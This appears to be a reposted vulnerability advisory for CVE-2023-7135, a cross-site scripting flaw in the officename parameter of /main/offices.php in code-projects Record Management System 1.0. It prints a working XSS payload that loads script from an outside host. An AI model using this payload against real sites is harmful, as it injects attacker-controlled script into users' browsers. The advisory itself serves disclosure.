• caglararli@hotmail.com
  • 05386281520

CVE-2023-7135 | code-projects Record Management System 1.0 Offices /main/offices.php officename cross site scripting

Çağlar Arlı      -    19 Views

CVE-2023-7135 | code-projects Record Management System 1.0 Offices /main/offices.php officename cross site scripting

A vulnerability classified as problematic has been found in code-projects Record Management System 1.0. Affected is an unknown function of the file /main/offices.php of the component Offices Handler. The manipulation of the argument officename with the input "><script src="https://js.rip/b23tmbxf49"></script> leads to cross site scripting. This vulnerability is traded as CVE-2023-7135. It is possible to launch the attack remotely. Furthermore, there is an exploit available.